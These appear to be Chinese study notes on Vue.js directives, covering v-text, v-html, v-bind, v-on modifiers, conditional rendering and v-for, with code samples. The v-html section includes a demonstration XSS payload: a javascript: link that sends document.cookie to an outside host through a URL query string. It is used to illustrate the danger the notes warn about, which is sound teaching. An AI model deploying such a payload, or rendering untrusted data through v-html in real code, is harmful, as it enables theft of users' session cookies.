vue 指令

指令：以v-开头的自定义标签属性。

  v-text:将data中的数据渲染到绑定的标签中。

  v-text会替换标签中原本的内容。 {{}}相当于占位符，只会替换自己本身。

  v-html：将data中的数据渲染到绑定的标签中，v-html会解析数据中的html代码。

  注意：在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 XSS 攻击。只在可信内容上使用 v-html，永不用在用户提交的内容上。

  用户提交的东西：一定要做好验证。

  <!-- 不要在app容器上直接绑定指令 -->
   <div id="app">
     <!-- <p v-text="msg">hello world</p> -->
     <!-- <p v-html="msg">hello world</p> -->
     <!-- <p>您好，欢迎{{user}}。</p> -->
     <p v-html="xss"></p>
   </div>
   
  <script src="vue.js"></script>
  <script>
    const vm = new Vue({
      el:"#app",
      data:{
        msg:"<h1>芜湖起飞</h1>",
        user:"张三",
        xss:`<a href=\"javascript:location.href='http:\/\/www.baidu.com?cookie='+document.cookie">男人看了沉默，女人看了流泪</a>`
      }
    });
  </script>

 v-bind:动态更新html元素上的属性。  id，css，style，src

    语法糖写法：  ：属性名="绑定的数据"

 <div id="app">
    <img v-bind:src="url" alt="">
    <p :class="mycolor">懂的都懂</p>
  </div>
  <script src="./vue.js"></script>
  <script>
    new Vue({
      el:"#app",
      data:{
        url:"./img/1.jpg",
        mycolor:"red"
      }
    })
  </script>

  v-on:事件绑

  v-on:事件类型="函数名称"

  vue相关的函数必须定义在vue实例对象的methods属性中。不能定义vue实例对象的外面。

  语法糖的写法： @事件类型 = "函数名称"

  事件对象：在事件函数中定义一个形参，该形参会自动接受事件对象。

  如果该方法有参数，同时我们又需要传递事件对象，vue提供了一个特殊变量 $event（固定写法）。

  修饰符：  @事件类型.修饰符 = 函数名

  vue提供了几个事件的修饰符，让我们更方便的对事件进行处理。

      .prevent 阻止浏览器默认行为

      .stop 阻止冒泡

      .once 只触发一次

<div id="app">
    <button @click.once="fn($event,'123')">提交</button>
    <!-- <a href="https://pay.qq.com/" @click="fn2('禁止跳转',$event)">跳转支付页面</a> -->
    <a href="https://pay.qq.com/" @click.prevent.once="fn3('禁止跳转')">跳转支付页面</a>

  </div>
  <script src="./vue.js"></script>
  <script>
    new Vue({
      el:"#app",
      //相当于声明的都是变量
      data:{
        msg:"懂得都懂"
      },
      methods:{
        fn(a,ev){
          console.log(a);
          console.log(ev);
          alert("点击了提交按钮")
        },
        fn2(msg,ev){
          alert(msg);
          //阻止默认行为
          ev.preventDefault();
        },
        fn3(msg){
          alert(msg);
        }
      }
    })
   
    // function fn(){
    //   alert("点击了提交按钮")
    // }
    

 条件渲染：满足一定的条件，模板才会渲染到页面上。

    v-if:如果v-if的值是true则渲染元素，如果为false，就不渲染元素。(DOM元素直接不存在)

    v-else： v-else配合v-if来使用，不可以单独使用  两个标签之间不可以有别的标签。

    v-else-if: 也要配合v-if来使用，不可以单独使用 两个标签之间不可以有别的标签。

    v-show:如果v-show的值为true，则渲染元素，如果为false，就不渲染元素。(为元素添加了 display：none)

    v-if和v-show的区别： v-if为false是不创建元素，v-show为false是隐藏元素。

    v-if和v-show：如果需要判断切换元素的隐藏和显示，则使用v-show，其他情况都用v-if。

 列表渲染指令：v-for

    当需要将一个数组遍历或枚举一个对象的属性时，我们可以使用v-for指令。有点类似于for循环。

    v-for="变量名 in 数组"

    v-for还可以传第二个参数作为当前元素的索引

    v-for除了可以遍历数组外，还可以遍历字符串，数字，对象

    遍历对象的时候，index表示的是对象的 属性名  item表示对象的 属性值。

    数组的更新：

    数组的一些方法并不会修改原数组，所以使用这些方法并不会让视图更新。  filter 过滤  concat 合并  slice截取

    需要注意的是，通过索引直接设置数组的元素，是不能被vue监听到的，因为vue监听的是数组的变化。

   解决方法：使用Vue内置的set方法

    Vue.set(要设置的数组，要修改的元素的索引,要修改的内容)

 <div id="app">
    <button @click="sortTicket(1)">按月票升序</button>
    <button @click="sortTicket(2)">按月票降序</button>
    <p v-for="book in books">书名：{{book.name}}，月票：{{book.ticket}}</p>

  </div>
 
  <script src="vue.js"></script>
  <script>
    new Vue({
      el:"#app",
      data:{
        books:[
          {id:1,name:"明克街13号",ticket:152},
          {id:2,name:"人族镇守使",ticket:100},
          {id:3,name:"星门",ticket:210},
          {id:4,name:"重生之似水流年",ticket:175},
          {id:5,name:"我的云养女友",ticket:972}
        ]
      },
      methods:{
        sortTicket(type){
          //根据type的值来决定排序的方式
          if (type==1) {
            //升序
            this.books.sort((a,b)=>{
              return a.ticket-b.ticket;
            })
          } else if(type == 2){
            //降序
            this.books.sort((a,b)=>{
              return b.ticket-a.ticket;
            })
          }
        }
      }
    })

   
  </script>